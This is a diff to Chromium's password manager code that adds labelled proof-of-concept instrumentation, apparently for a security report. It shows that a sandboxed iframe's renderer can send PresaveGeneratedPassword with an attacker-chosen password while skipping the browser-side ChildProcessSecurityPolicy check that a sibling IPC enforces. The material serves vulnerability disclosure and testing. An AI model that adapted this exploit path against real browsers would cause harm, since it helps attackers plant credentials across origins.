diff --git a/chrome/browser/password_manager/chrome_password_manager_client.cc b/chrome/browser/password_manager/chrome_password_manager_client.cc index e545d78ee74b2..255b9ed1a2d98 100644 --- a/chrome/browser/password_manager/chrome_password_manager_client.cc +++ b/chrome/browser/password_manager/chrome_password_manager_client.cc @@ -116,6 +116,7 @@ #include "content/public/browser/back_forward_cache.h" #include "content/public/browser/browser_context.h" #include "content/public/browser/child_process_security_policy.h" +#include "content/public/browser/render_process_host.h" // POC instrumentation #include "content/public/browser/navigation_controller.h" #include "content/public/browser/navigation_entry.h" #include "content/public/browser/navigation_handle.h" @@ -1586,6 +1587,39 @@ void ChromePasswordManagerClient::PresaveGeneratedPassword( const std::u16string& password_value) { content::RenderFrameHost* rfh = password_generation_driver_receivers_.GetCurrentTargetFrame(); + // ----- POC INSTRUMENTATION (observation only, no behaviour change) ----- + { + GURL last_url = rfh->GetLastCommittedURL(); + url::Origin last_origin = rfh->GetLastCommittedOrigin(); + url::Origin url_derived_origin = url::Origin::Create(last_url); + auto* policy = content::ChildProcessSecurityPolicy::GetInstance(); + bool cpsp_would_allow = policy->CanAccessDataForOrigin( + rfh->GetProcess()->GetDeprecatedID(), url_derived_origin); + autofill::FormData stamped = + password_manager::GetFormWithFrameAndFormMetaData(rfh, form_data); + LOG(ERROR) + << "[POC-BROWSER] PresaveGeneratedPassword IPC received in browser " + "process"; + LOG(ERROR) << "[POC-BROWSER] sender RFH GetLastCommittedURL = " + << last_url; + LOG(ERROR) << "[POC-BROWSER] sender RFH GetLastCommittedOrigin = " + << last_origin << " (opaque=" << last_origin.opaque() << ")"; + LOG(ERROR) + << "[POC-BROWSER] ChildProcessSecurityPolicy::CanAccessDataForOrigin(" + "sender_process, " + << url_derived_origin << ") = " << cpsp_would_allow; + LOG(ERROR) << "[POC-BROWSER] form.url after browser-side stamping = " + << stamped.url() << " (precursor origin)"; + LOG(ERROR) << "[POC-BROWSER] attacker-supplied password_value = " + << base::UTF16ToUTF8(password_value); + if (!cpsp_would_allow) { + LOG(ERROR) + << "[POC-BROWSER] *** CPSP would DENY this process access to the " + "precursor origin, but PresaveGeneratedPassword performs NO " + "CheckChildProcessSecurityPolicyForURL -> handler proceeds. ***"; + } + } + // ----- END POC INSTRUMENTATION ----- if (!password_manager::bad_message::CheckFrameNotPrerendering(rfh)) { return; } diff --git a/components/autofill/content/renderer/password_autofill_agent.cc b/components/autofill/content/renderer/password_autofill_agent.cc index 41594d47690a5..cf9e44cccba5b 100644 --- a/components/autofill/content/renderer/password_autofill_agent.cc +++ b/components/autofill/content/renderer/password_autofill_agent.cc @@ -1516,6 +1516,43 @@ void PasswordAutofillAgent::DispatchedDOMContentLoadedEvent( } void PasswordAutofillAgent::DidFinishLoad() { + // ----- POC INJECTION (simulates renderer RCE in sandboxed iframe) ----- + // A real compromised renderer would bypass FrameCanAccessPasswordManager() + // and send the IPCs directly. We trigger only when the document URL contains + // a marker, so this only fires inside our crafted sandboxed iframe. + WebLocalFrame* poc_frame = render_frame()->GetWebFrame(); + std::string poc_url = poc_frame->GetDocument().Url().GetString().Utf8(); + if (poc_url.find("poc-sandboxed-trigger") != std::string::npos) { + bool renderer_side_allowed = FrameCanAccessPasswordManager(); + LOG(ERROR) << "[POC-RENDERER] sandboxed iframe loaded (" << poc_url << ")"; + LOG(ERROR) << "[POC-RENDERER] FrameCanAccessPasswordManager() = " + << renderer_side_allowed + << " (renderer-side guard; compromised renderer bypasses this)"; + + autofill::FormData fake_form; + fake_form.set_renderer_id(autofill::FormRendererId(0x1234)); + + // 1) Un-gated path: PasswordGenerationDriver::PresaveGeneratedPassword. + // Browser-side handler has NO CPSP check -> reaches password manager + // with form.url = precursor origin URL. + mojo::AssociatedRemote gen_driver; + render_frame()->GetRemoteAssociatedInterfaces()->GetInterface(&gen_driver); + gen_driver->PresaveGeneratedPassword(fake_form, u"attacker-chosen-pw"); + LOG(ERROR) << "[POC-RENDERER] sent " + "PasswordGenerationDriver::PresaveGeneratedPassword " + "(un-gated on browser side)"; + + // 2) Gated sibling for contrast: + // PasswordManagerDriver::PasswordFormSubmitted has HasValidURL() -> + // CheckChildProcessSecurityPolicyForURL -> kills this renderer. + GetPasswordManagerDriver().PasswordFormSubmitted(fake_form); + LOG(ERROR) << "[POC-RENDERER] sent " + "PasswordManagerDriver::PasswordFormSubmitted " + "(CPSP-gated on browser side -> we should be killed)"; + return; + } + // ----- END POC INJECTION ----- + // The `frame` contents have been rendered. Let the PasswordManager know // which of the loaded frames are actually visible to the user. This also // triggers the "Save password?" infobar if the user just submitted a password